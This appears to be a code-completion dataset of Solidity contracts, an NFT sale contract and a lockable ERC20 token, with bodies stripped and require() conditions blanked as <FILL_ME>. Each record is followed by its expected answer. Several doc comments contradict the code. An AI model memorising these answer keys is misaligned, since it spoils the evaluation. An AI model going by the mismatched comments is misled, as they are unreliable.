itemsAvailable() public view returns(uint32) { } /** * @notice Active sale is an operational sale capable of minting and selling tokens * * @dev The sale is active when all the requirements below are met: * 1. Price is set (`itemPrice` is not zero) * 2. `finalId` is not reached (`nextId <= finalId`) * 3. current timestamp is between `saleStart` (inclusive) and `saleEnd` (exclusive) * * @dev Function is marked as virtual to be overridden in the helper test smart contract (mock) * in order to test how it affects the sale Srocess * * @return true if sale is active (operational) and can sell tokens, false otherwise */ function isActive() public view virtual returns(bool) { } /** * @dev Restricted access function to set up sale Sarameters, all at once, * or any subset of them * * @dev To skip parameter initialization, set it to `-1`, * that is a maximum value for unsigned integer of the corresponding type; * `_aliSource` and `_aliValue` must both be either set or skipped * * @dev Example: following initialization will update only _itemPrice and _batchLimit, * leaving the rest of the fields unchanged * initialize( * 100000000000000000, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 10 * ) * * @dev Requires next ID to be greater than zero (strict): `_nextId > 0` * * @dev Requires transaction sender to have `ROLE_SALE_MANAGER` role * * @param _itemPrice price of one token created; * setting the price to zero deactivates the sale * @param _nextId next ID of the token to mint, will be increased * in smart contract storage after every successful buy * @param _finalId final ID of the token to mint; sale is capable of producing * `_finalId - _nextId + 1` tokens * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp; sale is active only * when current time is within _saleStart (inclusive) and _saleEnd (exclusive) * @param _mintLimit how many tokens is allowed to buy for the duration of the sale, * set to zero to disable the limit */ function initialize( uint64 _itemPrice, // <<<--- keep type in sync with the body type(uint64).max !!! uint32 _nextId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _finalId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleStart, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleEnd, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _mintLimit // <<<--- keep type in sync with the body type(uint32).max !!! ) public onlyOwner { } /** * @notice Buys two tokens in a batch. * Accepts ETH as payment and mints a token */ function buy() public payable { } /** * @notice Buys two tokens in a batch to an address specified. * Accepts ETH as payment and mints tokens * * @param _to address to mint tokens to */ function buyTo(address _to) public payable { } /** * @notice Buys single token. * Accepts ETH as payment and mints a token */ function buySingle() public payable { } /** * @notice Buys single token to an address specified. * Accepts ETH as payment and mints a token * * @param _to address to mint token to */ function buySingleTo(address _to) public payable { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH back to transaction sender */ function withdraw() public { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH to the address specified * * @param _to an address to send ETH to */ function withdrawTo(address _to) public onlyOwner { } }
IERC165(_tokenContract).supportsInterface(type(IMintableERC721S).interfaceId)&&IERC165(_tokenContract).supportsInterface(type(IMintableERC721S).interfaceId),"unexpected token contract type"
227,641
IERC165(_tokenContract).supportsInterface(type(IMintableERC721S).interfaceId)&&IERC165(_tokenContract).supportsInterface(type(IMintableERC721S).interfaceId)
"mint limit reached"
// SPDX-License-Identifier: MIT pragma solidity =0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "../interfaces/IMintableERC721S.sol"; /** * @title Mintable Sale S * * @notice Mintable Sale S sales fixed amount of NFTs (tokens) for a fixed price in a fixed period of time; * it can be used in a 10k sale campaign and the smart contract is generic and * can sell any type of mintable NFT (see IMintableERC721S interface) * * @dev Technically, all the "fixed" parameters can be changed on the go after smart contract is deployed * and operational, but this ability is reserved for quick fix-like adjustments, and to provide * an ability to restart and run a similar sale after the previous one ends * * @dev When buying a token from this smart contract, next token is minted to the recipient * * @dev Supports functionality to limit amount of tokens that can be minted to each address * * @dev Deployment and setup: * 1. Deploy smart contract, specify smart contract address during the deployment: * - Mintable ER721 P deployed instance address * 2. Execute `initialize` function and set up the sale Sarameters; * sale is not active until it's initialized * */ contract MintableSaleS is Ownable { /** * @dev Next token ID to mint; * initially this is the first "free" ID which can be minted; * at any point in time this should point to a free, mintable ID * for the token * * @dev `nextId` cannot be zero, we do not ever mint NFTs with zero IDs */ uint32 public nextId = 1; /** * @dev Last token ID to mint; * once `nextId` exceeds `finalId` the sale Sauses */ uint32 public finalId; // ----- SLOT.1 (224/256) /** * @notice Price of a single item (token) minted * When buying several tokens at once the price accumulates accordingly, with no discount * * @dev Maximum item price is ~18.44 ETH */ uint64 public itemPrice; /** * @notice Sale start unix timestamp; the sale is active after the start (inclusive) */ uint32 public saleStart; /** * @notice Sale end unix timestamp; the sale is active before the end (exclusive) */ uint32 public saleEnd; /** * @notice Once set, limits the amount of tokens one address can buy for the duration of the sale; * When unset (zero) the amount of tokens is limited only by the amount of tokens left for sale */ uint32 public mintLimit; /** * @notice Counter of the tokens sold (minted) by this sale smart contract */ uint32 public soldCounter; // ----- NON-SLOTTED /** * @dev Mintable ERC721 contract address to mint */ address public immutable tokenContract; // ----- NON-SLOTTED /** * @dev Developer fee */ uint256 public immutable developerFee; // ----- NON-SLOTTED /** * @dev Address of developer to receive withdraw fees */ address public immutable developerAddress; // ----- NON-SLOTTED /** * @dev Number of mints performed by address */ mapping(address => uint32) mints; /** * @dev Smart contract unique identifier, a random number * * @dev Should be regenerated each time smart contact source code is changed * and changes smart contract itself is to be redeployed * * @dev Generated using https://www.random.org/bytes/ */ uint256 public constant UID = 0x3f38351a8d513731422d6b64f354f3cf7ea9ae952d15c73513da3b92754e778f; /** * @dev Fired in initialize() * * @param _by an address which executed the initialization * @param _itemPrice price of one token created * @param _nextId next ID of the token to mint * @param _finalId final ID of the token to mint * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp * @param _mintLimit mint limit */ event Initialized( address indexed _by, uint64 _itemPrice, uint32 _nextId, uint32 _finalId, uint32 _saleStart, uint32 _saleEnd, uint32 _mintLimit ); /** * @dev Fired in buy(), buyTo(), buySingle(), and buySingleTo() * * @param _by an address which executed and payed the transaction, probably a buyer * @param _to an address which received token(s) minted * @param _amount number of tokens minted * @param _value ETH amount charged */ event Bought(address indexed _by, address indexed _to, uint32 _amount, uint256 _value); /** * @dev Fired in withdraw() and withdrawTo() * * @param _by an address which executed the withdrawal * @param _to an address which received the ETH withdrawn * @param _value ETH amount withdrawn */ event Withdrawn(address indexed _by, address indexed _to, uint256 _value); /** * @dev Creates/deploys MintableSale and binds it to Mintable ERC721 * smart contract on construction * * @param _tokenContract deployed Mintable ERC721 smart contract; sale will mint ERC721 * tokens of that type to the recipient */ constructor(address _tokenContract, uint256 _developerFee, address _developerAddress) { } /** * @notice Number of tokens left on sale * * @dev Doesn't take into account if sale is active or not, * if `nextId - finalId < 1` returns zero * * @return number of tokens left on sale */ function itemsOnSale() public view returns(uint32) { } /** * @notice Number of tokens available on sale * * @dev Takes into account if sale is active or not, doesn't throw, * returns zero if sale is inactive * * @return number of tokens available on sale */ function itemsAvailable() public view returns(uint32) { } /** * @notice Active sale is an operational sale capable of minting and selling tokens * * @dev The sale is active when all the requirements below are met: * 1. Price is set (`itemPrice` is not zero) * 2. `finalId` is not reached (`nextId <= finalId`) * 3. current timestamp is between `saleStart` (inclusive) and `saleEnd` (exclusive) * * @dev Function is marked as virtual to be overridden in the helper test smart contract (mock) * in order to test how it affects the sale Srocess * * @return true if sale is active (operational) and can sell tokens, false otherwise */ function isActive() public view virtual returns(bool) { } /** * @dev Restricted access function to set up sale Sarameters, all at once, * or any subset of them * * @dev To skip parameter initialization, set it to `-1`, * that is a maximum value for unsigned integer of the corresponding type; * `_aliSource` and `_aliValue` must both be either set or skipped * * @dev Example: following initialization will update only _itemPrice and _batchLimit, * leaving the rest of the fields unchanged * initialize( * 100000000000000000, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 10 * ) * * @dev Requires next ID to be greater than zero (strict): `_nextId > 0` * * @dev Requires transaction sender to have `ROLE_SALE_MANAGER` role * * @param _itemPrice price of one token created; * setting the price to zero deactivates the sale * @param _nextId next ID of the token to mint, will be increased * in smart contract storage after every successful buy * @param _finalId final ID of the token to mint; sale is capable of producing * `_finalId - _nextId + 1` tokens * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp; sale is active only * when current time is within _saleStart (inclusive) and _saleEnd (exclusive) * @param _mintLimit how many tokens is allowed to buy for the duration of the sale, * set to zero to disable the limit */ function initialize( uint64 _itemPrice, // <<<--- keep type in sync with the body type(uint64).max !!! uint32 _nextId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _finalId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleStart, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleEnd, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _mintLimit // <<<--- keep type in sync with the body type(uint32).max !!! ) public onlyOwner { } /** * @notice Buys two tokens in a batch. * Accepts ETH as payment and mints a token */ function buy() public payable { } /** * @notice Buys two tokens in a batch to an address specified. * Accepts ETH as payment and mints tokens * * @param _to address to mint tokens to */ function buyTo(address _to) public payable { // verify the inputs require(_to != address(0), "recipient not set"); // verify mint limit if(mintLimit != 0) { require(<FILL_ME>) } // verify there is enough items available to buy the amount // verifies sale is in active state under the hood require(itemsAvailable() >= 2, "inactive sale or not enough items available"); // calculate the total price required and validate the transaction value uint256 totalPrice = uint256(itemPrice) * 2; require(msg.value >= totalPrice, "not enough funds"); // mint token to to the recipient IMintableERC721S(tokenContract).mint(_to, true); // increment `nextId` nextId += 2; // increment `soldCounter` soldCounter += 2; // increment sender mints mints[msg.sender] += 2; // if ETH amount supplied exceeds the price if(msg.value > totalPrice) { // send excess amount back to sender payable(msg.sender).transfer(msg.value - totalPrice); } // emit en event emit Bought(msg.sender, _to, 2, totalPrice); } /** * @notice Buys single token. * Accepts ETH as payment and mints a token */ function buySingle() public payable { } /** * @notice Buys single token to an address specified. * Accepts ETH as payment and mints a token * * @param _to address to mint token to */ function buySingleTo(address _to) public payable { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH back to transaction sender */ function withdraw() public { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH to the address specified * * @param _to an address to send ETH to */ function withdrawTo(address _to) public onlyOwner { } }
mints[msg.sender]+2<=mintLimit,"mint limit reached"
227,641
mints[msg.sender]+2<=mintLimit
"inactive sale or not enough items available"
// SPDX-License-Identifier: MIT pragma solidity =0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "../interfaces/IMintableERC721S.sol"; /** * @title Mintable Sale S * * @notice Mintable Sale S sales fixed amount of NFTs (tokens) for a fixed price in a fixed period of time; * it can be used in a 10k sale campaign and the smart contract is generic and * can sell any type of mintable NFT (see IMintableERC721S interface) * * @dev Technically, all the "fixed" parameters can be changed on the go after smart contract is deployed * and operational, but this ability is reserved for quick fix-like adjustments, and to provide * an ability to restart and run a similar sale after the previous one ends * * @dev When buying a token from this smart contract, next token is minted to the recipient * * @dev Supports functionality to limit amount of tokens that can be minted to each address * * @dev Deployment and setup: * 1. Deploy smart contract, specify smart contract address during the deployment: * - Mintable ER721 P deployed instance address * 2. Execute `initialize` function and set up the sale Sarameters; * sale is not active until it's initialized * */ contract MintableSaleS is Ownable { /** * @dev Next token ID to mint; * initially this is the first "free" ID which can be minted; * at any point in time this should point to a free, mintable ID * for the token * * @dev `nextId` cannot be zero, we do not ever mint NFTs with zero IDs */ uint32 public nextId = 1; /** * @dev Last token ID to mint; * once `nextId` exceeds `finalId` the sale Sauses */ uint32 public finalId; // ----- SLOT.1 (224/256) /** * @notice Price of a single item (token) minted * When buying several tokens at once the price accumulates accordingly, with no discount * * @dev Maximum item price is ~18.44 ETH */ uint64 public itemPrice; /** * @notice Sale start unix timestamp; the sale is active after the start (inclusive) */ uint32 public saleStart; /** * @notice Sale end unix timestamp; the sale is active before the end (exclusive) */ uint32 public saleEnd; /** * @notice Once set, limits the amount of tokens one address can buy for the duration of the sale; * When unset (zero) the amount of tokens is limited only by the amount of tokens left for sale */ uint32 public mintLimit; /** * @notice Counter of the tokens sold (minted) by this sale smart contract */ uint32 public soldCounter; // ----- NON-SLOTTED /** * @dev Mintable ERC721 contract address to mint */ address public immutable tokenContract; // ----- NON-SLOTTED /** * @dev Developer fee */ uint256 public immutable developerFee; // ----- NON-SLOTTED /** * @dev Address of developer to receive withdraw fees */ address public immutable developerAddress; // ----- NON-SLOTTED /** * @dev Number of mints performed by address */ mapping(address => uint32) mints; /** * @dev Smart contract unique identifier, a random number * * @dev Should be regenerated each time smart contact source code is changed * and changes smart contract itself is to be redeployed * * @dev Generated using https://www.random.org/bytes/ */ uint256 public constant UID = 0x3f38351a8d513731422d6b64f354f3cf7ea9ae952d15c73513da3b92754e778f; /** * @dev Fired in initialize() * * @param _by an address which executed the initialization * @param _itemPrice price of one token created * @param _nextId next ID of the token to mint * @param _finalId final ID of the token to mint * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp * @param _mintLimit mint limit */ event Initialized( address indexed _by, uint64 _itemPrice, uint32 _nextId, uint32 _finalId, uint32 _saleStart, uint32 _saleEnd, uint32 _mintLimit ); /** * @dev Fired in buy(), buyTo(), buySingle(), and buySingleTo() * * @param _by an address which executed and payed the transaction, probably a buyer * @param _to an address which received token(s) minted * @param _amount number of tokens minted * @param _value ETH amount charged */ event Bought(address indexed _by, address indexed _to, uint32 _amount, uint256 _value); /** * @dev Fired in withdraw() and withdrawTo() * * @param _by an address which executed the withdrawal * @param _to an address which received the ETH withdrawn * @param _value ETH amount withdrawn */ event Withdrawn(address indexed _by, address indexed _to, uint256 _value); /** * @dev Creates/deploys MintableSale and binds it to Mintable ERC721 * smart contract on construction * * @param _tokenContract deployed Mintable ERC721 smart contract; sale will mint ERC721 * tokens of that type to the recipient */ constructor(address _tokenContract, uint256 _developerFee, address _developerAddress) { } /** * @notice Number of tokens left on sale * * @dev Doesn't take into account if sale is active or not, * if `nextId - finalId < 1` returns zero * * @return number of tokens left on sale */ function itemsOnSale() public view returns(uint32) { } /** * @notice Number of tokens available on sale * * @dev Takes into account if sale is active or not, doesn't throw, * returns zero if sale is inactive * * @return number of tokens available on sale */ function itemsAvailable() public view returns(uint32) { } /** * @notice Active sale is an operational sale capable of minting and selling tokens * * @dev The sale is active when all the requirements below are met: * 1. Price is set (`itemPrice` is not zero) * 2. `finalId` is not reached (`nextId <= finalId`) * 3. current timestamp is between `saleStart` (inclusive) and `saleEnd` (exclusive) * * @dev Function is marked as virtual to be overridden in the helper test smart contract (mock) * in order to test how it affects the sale Srocess * * @return true if sale is active (operational) and can sell tokens, false otherwise */ function isActive() public view virtual returns(bool) { } /** * @dev Restricted access function to set up sale Sarameters, all at once, * or any subset of them * * @dev To skip parameter initialization, set it to `-1`, * that is a maximum value for unsigned integer of the corresponding type; * `_aliSource` and `_aliValue` must both be either set or skipped * * @dev Example: following initialization will update only _itemPrice and _batchLimit, * leaving the rest of the fields unchanged * initialize( * 100000000000000000, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 10 * ) * * @dev Requires next ID to be greater than zero (strict): `_nextId > 0` * * @dev Requires transaction sender to have `ROLE_SALE_MANAGER` role * * @param _itemPrice price of one token created; * setting the price to zero deactivates the sale * @param _nextId next ID of the token to mint, will be increased * in smart contract storage after every successful buy * @param _finalId final ID of the token to mint; sale is capable of producing * `_finalId - _nextId + 1` tokens * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp; sale is active only * when current time is within _saleStart (inclusive) and _saleEnd (exclusive) * @param _mintLimit how many tokens is allowed to buy for the duration of the sale, * set to zero to disable the limit */ function initialize( uint64 _itemPrice, // <<<--- keep type in sync with the body type(uint64).max !!! uint32 _nextId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _finalId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleStart, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleEnd, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _mintLimit // <<<--- keep type in sync with the body type(uint32).max !!! ) public onlyOwner { } /** * @notice Buys two tokens in a batch. * Accepts ETH as payment and mints a token */ function buy() public payable { } /** * @notice Buys two tokens in a batch to an address specified. * Accepts ETH as payment and mints tokens * * @param _to address to mint tokens to */ function buyTo(address _to) public payable { // verify the inputs require(_to != address(0), "recipient not set"); // verify mint limit if(mintLimit != 0) { require(mints[msg.sender] + 2 <= mintLimit, "mint limit reached"); } // verify there is enough items available to buy the amount // verifies sale is in active state under the hood require(<FILL_ME>) // calculate the total price required and validate the transaction value uint256 totalPrice = uint256(itemPrice) * 2; require(msg.value >= totalPrice, "not enough funds"); // mint token to to the recipient IMintableERC721S(tokenContract).mint(_to, true); // increment `nextId` nextId += 2; // increment `soldCounter` soldCounter += 2; // increment sender mints mints[msg.sender] += 2; // if ETH amount supplied exceeds the price if(msg.value > totalPrice) { // send excess amount back to sender payable(msg.sender).transfer(msg.value - totalPrice); } // emit en event emit Bought(msg.sender, _to, 2, totalPrice); } /** * @notice Buys single token. * Accepts ETH as payment and mints a token */ function buySingle() public payable { } /** * @notice Buys single token to an address specified. * Accepts ETH as payment and mints a token * * @param _to address to mint token to */ function buySingleTo(address _to) public payable { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH back to transaction sender */ function withdraw() public { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH to the address specified * * @param _to an address to send ETH to */ function withdrawTo(address _to) public onlyOwner { } }
itemsAvailable()>=2,"inactive sale or not enough items available"
227,641
itemsAvailable()>=2
"mint limit reached"
// SPDX-License-Identifier: MIT pragma solidity =0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "../interfaces/IMintableERC721S.sol"; /** * @title Mintable Sale S * * @notice Mintable Sale S sales fixed amount of NFTs (tokens) for a fixed price in a fixed period of time; * it can be used in a 10k sale campaign and the smart contract is generic and * can sell any type of mintable NFT (see IMintableERC721S interface) * * @dev Technically, all the "fixed" parameters can be changed on the go after smart contract is deployed * and operational, but this ability is reserved for quick fix-like adjustments, and to provide * an ability to restart and run a similar sale after the previous one ends * * @dev When buying a token from this smart contract, next token is minted to the recipient * * @dev Supports functionality to limit amount of tokens that can be minted to each address * * @dev Deployment and setup: * 1. Deploy smart contract, specify smart contract address during the deployment: * - Mintable ER721 P deployed instance address * 2. Execute `initialize` function and set up the sale Sarameters; * sale is not active until it's initialized * */ contract MintableSaleS is Ownable { /** * @dev Next token ID to mint; * initially this is the first "free" ID which can be minted; * at any point in time this should point to a free, mintable ID * for the token * * @dev `nextId` cannot be zero, we do not ever mint NFTs with zero IDs */ uint32 public nextId = 1; /** * @dev Last token ID to mint; * once `nextId` exceeds `finalId` the sale Sauses */ uint32 public finalId; // ----- SLOT.1 (224/256) /** * @notice Price of a single item (token) minted * When buying several tokens at once the price accumulates accordingly, with no discount * * @dev Maximum item price is ~18.44 ETH */ uint64 public itemPrice; /** * @notice Sale start unix timestamp; the sale is active after the start (inclusive) */ uint32 public saleStart; /** * @notice Sale end unix timestamp; the sale is active before the end (exclusive) */ uint32 public saleEnd; /** * @notice Once set, limits the amount of tokens one address can buy for the duration of the sale; * When unset (zero) the amount of tokens is limited only by the amount of tokens left for sale */ uint32 public mintLimit; /** * @notice Counter of the tokens sold (minted) by this sale smart contract */ uint32 public soldCounter; // ----- NON-SLOTTED /** * @dev Mintable ERC721 contract address to mint */ address public immutable tokenContract; // ----- NON-SLOTTED /** * @dev Developer fee */ uint256 public immutable developerFee; // ----- NON-SLOTTED /** * @dev Address of developer to receive withdraw fees */ address public immutable developerAddress; // ----- NON-SLOTTED /** * @dev Number of mints performed by address */ mapping(address => uint32) mints; /** * @dev Smart contract unique identifier, a random number * * @dev Should be regenerated each time smart contact source code is changed * and changes smart contract itself is to be redeployed * * @dev Generated using https://www.random.org/bytes/ */ uint256 public constant UID = 0x3f38351a8d513731422d6b64f354f3cf7ea9ae952d15c73513da3b92754e778f; /** * @dev Fired in initialize() * * @param _by an address which executed the initialization * @param _itemPrice price of one token created * @param _nextId next ID of the token to mint * @param _finalId final ID of the token to mint * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp * @param _mintLimit mint limit */ event Initialized( address indexed _by, uint64 _itemPrice, uint32 _nextId, uint32 _finalId, uint32 _saleStart, uint32 _saleEnd, uint32 _mintLimit ); /** * @dev Fired in buy(), buyTo(), buySingle(), and buySingleTo() * * @param _by an address which executed and payed the transaction, probably a buyer * @param _to an address which received token(s) minted * @param _amount number of tokens minted * @param _value ETH amount charged */ event Bought(address indexed _by, address indexed _to, uint32 _amount, uint256 _value); /** * @dev Fired in withdraw() and withdrawTo() * * @param _by an address which executed the withdrawal * @param _to an address which received the ETH withdrawn * @param _value ETH amount withdrawn */ event Withdrawn(address indexed _by, address indexed _to, uint256 _value); /** * @dev Creates/deploys MintableSale and binds it to Mintable ERC721 * smart contract on construction * * @param _tokenContract deployed Mintable ERC721 smart contract; sale will mint ERC721 * tokens of that type to the recipient */ constructor(address _tokenContract, uint256 _developerFee, address _developerAddress) { } /** * @notice Number of tokens left on sale * * @dev Doesn't take into account if sale is active or not, * if `nextId - finalId < 1` returns zero * * @return number of tokens left on sale */ function itemsOnSale() public view returns(uint32) { } /** * @notice Number of tokens available on sale * * @dev Takes into account if sale is active or not, doesn't throw, * returns zero if sale is inactive * * @return number of tokens available on sale */ function itemsAvailable() public view returns(uint32) { } /** * @notice Active sale is an operational sale capable of minting and selling tokens * * @dev The sale is active when all the requirements below are met: * 1. Price is set (`itemPrice` is not zero) * 2. `finalId` is not reached (`nextId <= finalId`) * 3. current timestamp is between `saleStart` (inclusive) and `saleEnd` (exclusive) * * @dev Function is marked as virtual to be overridden in the helper test smart contract (mock) * in order to test how it affects the sale Srocess * * @return true if sale is active (operational) and can sell tokens, false otherwise */ function isActive() public view virtual returns(bool) { } /** * @dev Restricted access function to set up sale Sarameters, all at once, * or any subset of them * * @dev To skip parameter initialization, set it to `-1`, * that is a maximum value for unsigned integer of the corresponding type; * `_aliSource` and `_aliValue` must both be either set or skipped * * @dev Example: following initialization will update only _itemPrice and _batchLimit, * leaving the rest of the fields unchanged * initialize( * 100000000000000000, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 0xFFFFFFFF, * 10 * ) * * @dev Requires next ID to be greater than zero (strict): `_nextId > 0` * * @dev Requires transaction sender to have `ROLE_SALE_MANAGER` role * * @param _itemPrice price of one token created; * setting the price to zero deactivates the sale * @param _nextId next ID of the token to mint, will be increased * in smart contract storage after every successful buy * @param _finalId final ID of the token to mint; sale is capable of producing * `_finalId - _nextId + 1` tokens * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp; sale is active only * when current time is within _saleStart (inclusive) and _saleEnd (exclusive) * @param _mintLimit how many tokens is allowed to buy for the duration of the sale, * set to zero to disable the limit */ function initialize( uint64 _itemPrice, // <<<--- keep type in sync with the body type(uint64).max !!! uint32 _nextId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _finalId, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleStart, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _saleEnd, // <<<--- keep type in sync with the body type(uint32).max !!! uint32 _mintLimit // <<<--- keep type in sync with the body type(uint32).max !!! ) public onlyOwner { } /** * @notice Buys two tokens in a batch. * Accepts ETH as payment and mints a token */ function buy() public payable { } /** * @notice Buys two tokens in a batch to an address specified. * Accepts ETH as payment and mints tokens * * @param _to address to mint tokens to */ function buyTo(address _to) public payable { } /** * @notice Buys single token. * Accepts ETH as payment and mints a token */ function buySingle() public payable { } /** * @notice Buys single token to an address specified. * Accepts ETH as payment and mints a token * * @param _to address to mint token to */ function buySingleTo(address _to) public payable { // verify the inputs and transaction value require(_to != address(0), "recipient not set"); // verify mint limit if(mintLimit != 0) { require(<FILL_ME>) } // verify sale is in active state require(isActive(), "inactive sale"); require(msg.value >= itemPrice, "not enough funds"); // mint token to the recipient IMintableERC721S(tokenContract).mint(_to, false); // increment `nextId` nextId++; // increment `soldCounter` soldCounter++; // increment sender mints mints[msg.sender]++; // if ETH amount supplied exceeds the price if(msg.value > itemPrice) { // send excess amount back to sender payable(msg.sender).transfer(msg.value - itemPrice); } // emit en event emit Bought(msg.sender, _to, 1, itemPrice); } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH back to transaction sender */ function withdraw() public { } /** * @dev Restricted access function to withdraw ETH on the contract balance, * sends ETH to the address specified * * @param _to an address to send ETH to */ function withdrawTo(address _to) public onlyOwner { } }
mints[msg.sender]+1<=mintLimit,"mint limit reached"
227,641
mints[msg.sender]+1<=mintLimit
"Not authorized to lock."
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; /// @author thirdweb import "@thirdweb-dev/contracts/external-deps/openzeppelin/token/ERC20/extensions/ERC20Permit.sol"; import "@thirdweb-dev/contracts/extension/ContractMetadata.sol"; import "@thirdweb-dev/contracts/extension/Multicall.sol"; import "@thirdweb-dev/contracts/extension/Ownable.sol"; import "@thirdweb-dev/contracts/extension/interface/IBurnableERC20.sol"; contract ERC20LockableToken is ContractMetadata, Multicall, Ownable, ERC20Permit, IBurnableERC20 { /*////////////////////////////////////////////////////////////// Constructor //////////////////////////////////////////////////////////////*/ constructor( address _defaultAdmin, uint256 _amount, string memory _name, string memory _symbol ) ERC20Permit(_name, _symbol) { } /*////////////////////////////////////////////////////////////// Lock Token //////////////////////////////////////////////////////////////*/ mapping (address => uint256) private _lockTimes; mapping (address => uint256) private _lockAmounts; event LockChanged(address indexed account, uint256 releaseTime, uint256 amount); function setLock(address account, uint256 releaseTime, uint256 amount) public { require(<FILL_ME>) _lockTimes[account] = releaseTime; _lockAmounts[account] = amount; emit LockChanged(account, releaseTime, amount); } function getLock(address account) public view returns (uint256 lockTime, uint256 lockAmount) { } function _isLocked(address account, uint256 amount) internal view returns (bool) { } function _beforeTokenTransfer( address from, address, uint256 amount ) override internal virtual { } /** * @notice Lets an owner a given amount of their tokens. * @dev Caller should own the `_amount` of tokens. * * @param _amount The number of tokens to burn. */ function burn(uint256 _amount) external virtual { } /** * @notice Lets an owner burn a given amount of an account's tokens. * @dev `_account` should own the `_amount` of tokens. * * @param _account The account to burn tokens from. * @param _amount The number of tokens to burn. */ function burnFrom(address _account, uint256 _amount) external virtual override { } /*////////////////////////////////////////////////////////////// Internal (overrideable) functions //////////////////////////////////////////////////////////////*/ /// @dev Returns whether contract metadata can be set in the given execution context. function _canSetContractURI() internal view virtual override returns (bool) { } /// @dev Returns whether tokens can be locked in the given execution context. function _canLock() internal view virtual returns (bool) { } /// @dev Returns whether tokens can be burned in the given execution context. function _canBurn() internal view virtual returns (bool) { } /// @dev Returns whether owner can be set in the given execution context. function _canSetOwner() internal view virtual override returns (bool) { } }
_canLock(),"Not authorized to lock."
227,719
_canLock()
"Locked balance"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; /// @author thirdweb import "@thirdweb-dev/contracts/external-deps/openzeppelin/token/ERC20/extensions/ERC20Permit.sol"; import "@thirdweb-dev/contracts/extension/ContractMetadata.sol"; import "@thirdweb-dev/contracts/extension/Multicall.sol"; import "@thirdweb-dev/contracts/extension/Ownable.sol"; import "@thirdweb-dev/contracts/extension/interface/IBurnableERC20.sol"; contract ERC20LockableToken is ContractMetadata, Multicall, Ownable, ERC20Permit, IBurnableERC20 { /*////////////////////////////////////////////////////////////// Constructor //////////////////////////////////////////////////////////////*/ constructor( address _defaultAdmin, uint256 _amount, string memory _name, string memory _symbol ) ERC20Permit(_name, _symbol) { } /*////////////////////////////////////////////////////////////// Lock Token //////////////////////////////////////////////////////////////*/ mapping (address => uint256) private _lockTimes; mapping (address => uint256) private _lockAmounts; event LockChanged(address indexed account, uint256 releaseTime, uint256 amount); function setLock(address account, uint256 releaseTime, uint256 amount) public { } function getLock(address account) public view returns (uint256 lockTime, uint256 lockAmount) { } function _isLocked(address account, uint256 amount) internal view returns (bool) { } function _beforeTokenTransfer( address from, address, uint256 amount ) override internal virtual { require(<FILL_ME>) } /** * @notice Lets an owner a given amount of their tokens. * @dev Caller should own the `_amount` of tokens. * * @param _amount The number of tokens to burn. */ function burn(uint256 _amount) external virtual { } /** * @notice Lets an owner burn a given amount of an account's tokens. * @dev `_account` should own the `_amount` of tokens. * * @param _account The account to burn tokens from. * @param _amount The number of tokens to burn. */ function burnFrom(address _account, uint256 _amount) external virtual override { } /*////////////////////////////////////////////////////////////// Internal (overrideable) functions //////////////////////////////////////////////////////////////*/ /// @dev Returns whether contract metadata can be set in the given execution context. function _canSetContractURI() internal view virtual override returns (bool) { } /// @dev Returns whether tokens can be locked in the given execution context. function _canLock() internal view virtual returns (bool) { } /// @dev Returns whether tokens can be burned in the given execution context. function _canBurn() internal view virtual returns (bool) { } /// @dev Returns whether owner can be set in the given execution context. function _canSetOwner() internal view virtual override returns (bool) { } }
!_isLocked(from,amount),"Locked balance"
227,719
!_isLocked(from,amount)
"Not authorized to burn."
